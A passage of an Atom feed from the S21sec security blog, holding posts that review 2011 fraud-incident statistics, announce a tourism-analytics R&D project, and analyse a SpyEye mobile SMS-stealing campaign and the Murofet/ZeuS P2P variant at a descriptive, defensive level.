gd:etag="W/&quot;CkMERn04eCp7ImA9WhRUGUk.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-410040833498717382</id><published>2012-01-30T08:14:00.000-08:00</published><updated>2012-01-30T08:20:07.330-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-01-30T08:20:07.330-08:00</app:edited><title>A YEAR OF FRAUD (PART I)</title><content type="html">&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;span lang="EN-GB"&gt;The New Year is the ideal time to present a summary of all that we have seen during 2011.  The data that we will present here is related to fraud incidents closed by S21sec's SOC/CERT.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;span lang="EN-GB"&gt;We have acted on 4759 fraud incidents that directly affected our clients, slightly fewer than the number recorded the previous year. The distribution of these incidents can be seen in the following graph.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;img src="http://1.bp.blogspot.com/-xY_4Wu-47jQ/TybCmKCEPYI/AAAAAAAAA6Q/YSaJk202CEw/s400/2010vs2011_en.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5703459938895150466" style="text-align: justify;color: rgb(0, 0, 238); text-decoration: underline; display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 191px; " /&gt;&lt;div&gt;&lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="text-align: left; "&gt;Once again, the number of phishing related incidents exceeds those related to malicious code. This is mainly due to our clients in Latin America who suffered fewer malicious code incidents.&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span lang="EN-GB"&gt;The following stack chart shows the monthly distribution of all incidents.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB"&gt;&lt;img src="http://3.bp.blogspot.com/-rMDzliwUfKw/TybCw48P4sI/AAAAAAAAA6c/sxkxX0UckuI/s400/evolucion_2011_en.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5703460123285906114" style="text-align: justify;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 177px; " /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;Two peaks in the quantity of recorded incidents can clearly be seen. This phenomenon is repeated year after year and usually occurs around holiday periods, when the users are generally more relaxed and less security conscious.&lt;/div&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span lang="EN-GB"&gt;Personally, I feel 2011 has been deceptive, constantly promising major news but failing to deliver. 2010, in contrast, was a remarkable year. It brought with it both new attack methods (MitB, MitMo) and new malicious code families (Tatanga, SpyEye, etc.).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span lang="EN-GB"&gt;What happened in 2011?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span lang="EN-GB"&gt;Now that we can review 2011 in its entirety, we could consider it as a transitional year. During 2011 we have seen that the cyber-criminals improved their fraud related methods and tools, but did not introduce any notable innovations.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span lang="EN-GB"&gt;Could this stagnation be related to the global economic crisis?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span lang="EN-GB"&gt;It is hard to relate the changes in the fraud typology with economic reality, but there is no doubt that certain aspects have influenced the past few months.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span lang="EN-GB"&gt;Social engineering attacks, usually made by individuals (not organised), have increased considerably. The costs of preparing this kind of attack are low, which has led to many new individuals (drawn by the chance of rapid returns for minimal investment) entering the scene. This fact is particularly relevant in Latin America, the only place in the world where we have seen an increase in incidents on previous years.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span lang="EN-GB"&gt;On the other hand, we have the much more complex and expensive malicious code attacks. These are usually made by very well organised mafias with abundant resources. In 2011 we expected SpyEye to takeoff as ZeuS (its main rival) abandoned their development at the end of 2010 and published the source code. However, this did not occur probably because of Spyeye’s elevated price. Furthermore, we have seen how some "gangs" have instead taken advantage of the published ZeuS code to develop new families of malware without having to take on the associated costs.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span lang="EN-GB"&gt;&lt;i&gt;David Ávila&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span lang="EN-GB"&gt;&lt;i&gt;S21sec ecrime&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/4KRKv8vl2bw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/410040833498717382/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=410040833498717382" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/410040833498717382?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/410040833498717382?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/4KRKv8vl2bw/year-of-fraud-part-i.html" title="A YEAR OF FRAUD (PART I)" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-xY_4Wu-47jQ/TybCmKCEPYI/AAAAAAAAA6Q/YSaJk202CEw/s72-c/2010vs2011_en.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2012/01/year-of-fraud-part-i.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUcHRHc4eCp7ImA9WhRUFU0.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-3159742431837766528</id><published>2012-01-25T06:50:00.000-08:00</published><updated>2012-01-25T06:50:35.930-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-01-25T06:50:35.930-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Tools" /><title>Tourist Periscope will manage tourist information on the We</title><content type="html">&lt;div class="separator" style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-an-LtlRkisw/TyAVhNBLOWI/AAAAAAAAAa8/gBetQJdZZ-M/s1600/logotipo_Tourist-Periscope.jpg" imageanchor="1" style="clear: right; cssfloat: right; float: right; height: 80px; margin-bottom: 1em; margin-left: 1em; width: 185px;"&gt;&lt;img border="0" gda="true" height="85" src="http://1.bp.blogspot.com/-an-LtlRkisw/TyAVhNBLOWI/AAAAAAAAAa8/gBetQJdZZ-M/s200/logotipo_Tourist-Periscope.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
S21sec labs is leading the project Tourist Periscope with the aim of developing the technological solution that will help the tourist sector to detect the different market opportunities and to reduce the strategic decision taking risk by predicting tourist trends.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;The Internet is a source of innumerable amounts of information, which often represents a threat for a company as it cannot manage this volume of information or it could mean a business opportunity hard to detect among so much data circulating through the Net. &lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
The exponential increase of information in the tourist sector is translated into serious difficulties for tourist companies, institutions and administrations when managing, identifying and optimising the search for contents of interest for their business. &lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
For this reason, S21sec and thanks to its experience in the development of open-source information classification, indexing and information search technologies, will create the application Tourist Periscope in its R&amp;amp;D centre in security S21sec labs and in cooperation with agents specialised in the tourist sector, from both the academic and corporate environments. This R&amp;amp;D project is framed within the INNPACTO projects of the Ministry of Economy and Competitiveness. The new IT platform will be oriented at the tourist sector and will be able to carry out an efficient information management and rationalisation according to the profile of the client and the purpose that is to be achieved. This new tool is able to carry out analysis of the tourist environment in a customised way and integrated with social networks, generating a Tourist Intelligence unit.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
The purpose of Tourist Periscope is to provide companies in the tourist sector with a new user-friendly technological solution to detect the different market opportunities and to reduce the strategic decision taking risk by being ahead of tourist behaviour. &lt;/div&gt;
&lt;br /&gt;
&lt;em&gt;S21sec Marketing Department&lt;/em&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/lP5xwlvslF4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/3159742431837766528/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=3159742431837766528" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/3159742431837766528?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/3159742431837766528?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/lP5xwlvslF4/tourist-periscope-will-manage-tourist.html" title="Tourist Periscope will manage tourist information on the We" /><author><name>S21sec</name><uri>http://www.blogger.com/profile/12912354041276652911</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-an-LtlRkisw/TyAVhNBLOWI/AAAAAAAAAa8/gBetQJdZZ-M/s72-c/logotipo_Tourist-Periscope.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2012/01/tourist-periscope-will-manage-tourist.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEMCQXo6eCp7ImA9WhRVFEg.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-989383422764738387</id><published>2012-01-13T03:42:00.000-08:00</published><updated>2012-01-13T04:07:40.410-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-01-13T04:07:40.410-08:00</app:edited><title>New SpyEye Campaign with mobile complement</title><content type="html">&lt;div style="text-align: justify;"&gt;&lt;span style="text-align: justify; "&gt;More&lt;/span&gt;&lt;a href="http://securityblog.s21sec.com/2010/09/zeus-mitmo-man-in-mobile-i.html" style="text-align: justify; "&gt; than a year ago&lt;/a&gt;&lt;span style="text-align: justify; "&gt; we saw for the first time how ZeuS had incorporated a mobile component in an attempt to steal the SMS sent by the banks while making a transfer. Later, SpyEye &lt;/span&gt;&lt;span style="text-align: justify; "&gt;incorporated the same technique.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="text-align: justify; "&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Recently, we have seen a new campaign affecting Spanish banks, which urges the user to install a component if their phone is Android. While the first samples came from Symbian and BlackBerry, later versions incorporated Android among its objectives. The widespread use of this platform, along with the ease of developing applications for it, makes it one of the favourite objectives of malware creators.&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Infection of a mobile device is not a trivial task, so the user must be tricked, through social engineering, into infecting themselves. For this reason, it is important to understand the risks, as a user who is unaware of the threat that their mobile can be infected, is completely vulnerable to this attack.&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: center; "&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;In the case in hand, upon visiting the banking entity’s website, an infected computer will try to convince the user to install an application on the mobile phone, making them believe that they are installing a program to secure communications.&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;img src="http://2.bp.blogspot.com/-KqMmbQZ5k5M/TwXmMJUG2OI/AAAAAAAAA30/KzyrCsvY6mM/s400/Captura1.PNG" border="0" alt="" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 209px; " /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: center;font-size:x-small;"&gt;&lt;i&gt;&lt;span &gt;Image 1: The user is asked for their phone operating system and phone number (Spanish)&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Then comes the verification of the installation, asking for a activation code that the mobile displays once the application is installed.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div style="text-align: center; "&gt;&lt;img src="http://2.bp.blogspot.com/-Ocs7KLcRgO4/TwXmUSMFFAI/AAAAAAAAA4A/8jOmnWVag30/s400/Captura2.PNG" border="0" alt="" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 153px; " /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: center;font-size:x-small;"&gt;&lt;i&gt;&lt;span&gt;Image 2: The user confirms an activation code received on their mobile (Spanish)&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Finally, a successful installation message is displayed to the user.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;img src="http://4.bp.blogspot.com/-6q-T-PIn8Zs/TwXmUzsFK8I/AAAAAAAAA4U/MR5dunaB9Bc/s400/Captura4.PNG" border="0" alt="" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 29px; " /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: center;font-size:x-small;"&gt;&lt;i&gt;&lt;span&gt;Image 3: Application installed successfully – you are now protected (Spanish)&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: center; "&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center; "&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;If the mobile is an Android phone, SpyEye simply informs the user that they do not require any further security.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center; "&gt;&lt;img src="http://4.bp.blogspot.com/-w-yqlQfcE5o/TwXmUj7-ciI/AAAAAAAAA4M/nVlNdn7DW6Q/s400/Captura3.PNG" border="0" alt="" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 41px; " /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: center;font-size:x-small;"&gt;&lt;i&gt;&lt;span&gt;Image 4: Your phone does not require any further security (Spanish)&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: center; "&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Despite the fact that many times we have heard the term "SpyEye for Android" incorrectly used, we must be clear that the component that infects mobiles is not a version of SpyEye, as it is not capable of intercepting on-line banking navigation or anything similar. This is a very simple application, able to forward received SMSs to an external server using a simple GET request with the data as parameters. It is a merely a complement, totally unrelated to the malware that infects the computer and it could be used interchangeably with any banking trojan.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;As an example of the application’s simplicity, the encryption of the string containing the URI of the &lt;i&gt;dropzone &lt;/i&gt;consists solely of swapping the values "=", "-" and "q", as can be seen in the following example, very similar to the original URI.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: center; "&gt;&lt;img src="http://4.bp.blogspot.com/-tTKrLDcBKrk/TwXmVH3wQJI/AAAAAAAAA4k/EISk685aZbI/s400/Captura5.PNG" border="0" alt="" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 40px; " /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;This means that we are facing a new infection campaign which, from a technical point of view, really adds nothing new, but we must stress that people need to understand this kind of threat to avoid falling into the trap.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Mikel Gastesi&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;S21sec e-crime&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/IqI9AzS2K3E" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/989383422764738387/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=989383422764738387" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/989383422764738387?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/989383422764738387?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/IqI9AzS2K3E/new-spyeye-campaign-with-mobile.html" title="New SpyEye Campaign with mobile complement" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-KqMmbQZ5k5M/TwXmMJUG2OI/AAAAAAAAA30/KzyrCsvY6mM/s72-c/Captura1.PNG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2012/01/new-spyeye-campaign-with-mobile.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUMARXcyfSp7ImA9WhRVE0U.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-2156339412587559789</id><published>2012-01-12T08:47:00.000-08:00</published><updated>2012-01-12T08:57:24.995-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-01-12T08:57:24.995-08:00</app:edited><title>Murofet: Changing to zlib</title><content type="html">&lt;div style="text-align: justify;"&gt;&lt;span style="text-align: left; "&gt;Time passes and in the world of malware new threats continue to emerge, but the established threats still continue to evolve and everything points to this continuing.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;In this blog, we will once again talk about Zeus and, in particular, the version known as Murofet.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Around June, we discussed the different branches of Zeus. We have seen how the developers have implemented &lt;a href="http://securityblog.s21sec.com/2011/11/murofet-v20-zeus-p2p.html"&gt;new functionality&lt;/a&gt; such as P2P and domain name generation in what is known as Murofet 2.0.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;In one of the latest samples received, we saw how something didn’t quite fit with the usual behaviour. This was investigated in greater depth and we have discovered that certain sections, instead of being compressed with UCL, have changed to being compressed with zlib.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;img src="http://4.bp.blogspot.com/-vpF-_d_5Jf4/TwWQcnJaHII/AAAAAAAAA3o/dwiSHO21o88/s400/zlib.png" border="0" alt="" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 157px; " /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;&lt;span &gt;Image 1: Use of zlib v 1.2.5&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;Zeus has evolved considerably. Gone is the time when each botnet did not have its own key and encryption consisted of only a simple xor and little more. Recent developments show the creators increasing maturity. They have stopped trying to reinvent the wheel and have been incorporating already existing cryptographic algorithms, much more robust than their predecessors, something completely logical.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;If we focus on the gang behind Murofet, in particular, we can see an ongoing development, distinguishing itself ever more from the official version. The changes that have been introduced, step by step, both at the internal level (in terms of the modification of characteristics in the configuration file’s encryption) and the added characteristics mentioned previously, indicate an in-depth knowledge of the subject.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;In addition, we must not forget the detail that the first variant was seen before the source code leaked, which makes it clear that the group behind it have very clear objectives.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;We will keep playing.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Jozsef Gegeny and Mikel Gastesi&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;S21sec e-crime&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/3cD5DI1dAZY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/2156339412587559789/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=2156339412587559789" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/2156339412587559789?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/2156339412587559789?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/3cD5DI1dAZY/murofet-changing-to-zlib.html" title="Murofet: Changing to zlib" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-vpF-_d_5Jf4/TwWQcnJaHII/AAAAAAAAA3o/dwiSHO21o88/s72-c/zlib.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2012/01/murofet-changing-to-zlib.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkMMQn4_fyp7ImA9WhRSGU0.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-3703580003413792726</id><published>2011-11-21T10:27:00.000-08:00</published><updated>2011-11-21T10:34:43.047-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-21T10:34:43.047-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ZeuS" /><category scheme="http://www.blogger.com/atom/ns#" term="Malware" /><title>Murofet v2.0 (ZeuS P2P)</title><content type="html">Following on from the previous &lt;a href="http://securityblog.s21sec.com/2011/11/new-zeus-distribution-campaign-ach.html"&gt;post&lt;/a&gt; about the ZeuS "ACH transaction canceled" distribution campaign, we now turn to look at the distributed binary.&lt;br /&gt;&lt;br /&gt;This is version 2.0 of the Zeus variant known as Murofet. It has come to be named ZeuS P2P, due to some of its characteristics, which make use of this technique.&lt;br /&gt;&lt;br /&gt;Of all recent versions, this is most evolved with many modifications from the original version. It is rumoured that this version could come from original author of ZeuS, as the modifications require a deep understanding of the original work.&lt;br /&gt;&lt;br /&gt;The relationship to the original Murofet can be clearly seen in the configuration files. They are at the same time different from those of the original ZeuS and yet similar to each other. They have new labels in some sections and an easily detectable feature, the ERCP delimiter, as shown in the following image:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-WyYglxMlziY/TsqZAGEZUwI/AAAAAAAAA1Y/L551qDoQ4a0/s1600/ercp.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 77px;" src="http://2.bp.blogspot.com/-WyYglxMlziY/TsqZAGEZUwI/AAAAAAAAA1Y/L551qDoQ4a0/s320/ercp.png" alt="" id="BLOGGER_PHOTO_ID_5677518507162030850" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;In this variant the trojan uses a P2P structure to obtain the configuration file, which is an interesting modification. To do this, it uses a few incorporated IPs, firstly, and attempts to communicate with them via UDP:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-MhAelJRVrtg/TsqZNgcrDsI/AAAAAAAAA1k/1xAgvKTLHIs/s1600/ips.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 66px;" src="http://2.bp.blogspot.com/-MhAelJRVrtg/TsqZNgcrDsI/AAAAAAAAA1k/1xAgvKTLHIs/s320/ips.png" alt="" id="BLOGGER_PHOTO_ID_5677518737581477570" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Once in communication with the bots belonging to the P2P network, if a newer version is detected, this will be downloaded, using TCP and its own protocol:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-VhC8v9grbGM/TsqZbWyi6EI/AAAAAAAAA1w/7XeYKsv-itI/s1600/protocol.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 168px;" src="http://4.bp.blogspot.com/-VhC8v9grbGM/TsqZbWyi6EI/AAAAAAAAA1w/7XeYKsv-itI/s320/protocol.png" alt="" id="BLOGGER_PHOTO_ID_5677518975507032130" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;If P2P communication fails, it changes to use domain name generation, as the first Murofet version did.&lt;br /&gt;&lt;br /&gt;The storage route, both for the binary and the registry paths, are similar to previous versions, but in this version the configuration file is stored with only RC4 encryption without the XOR layer (also known as VisualEncrypt; logically, because it does not provide any security).&lt;br /&gt;&lt;br /&gt;Similarly, there is evidence that the trojan deletes the RC4 key from memory after each use, in a clear attempt to prevent it from being detected.&lt;br /&gt;&lt;br /&gt;Finally, the C&amp;amp;C server shown in the configuration file appears to be false, in a clear attempt to mislead and delay any analysis.&lt;br /&gt;&lt;br /&gt;In summary, this is a modified version of ZeuS, with very advanced characteristics and changes aimed at protecting itself from automatic analysis of the binary and self preservation against the destruction of the network infrastructure, but without any notable functional changes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Jozsef Gegeny &amp;amp; Santiago Vicente &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;S21sec e-crime&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/fxb2Y23Hsu0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/3703580003413792726/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=3703580003413792726" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/3703580003413792726?v=2" /><link rel="self" type="application/atom+xml" 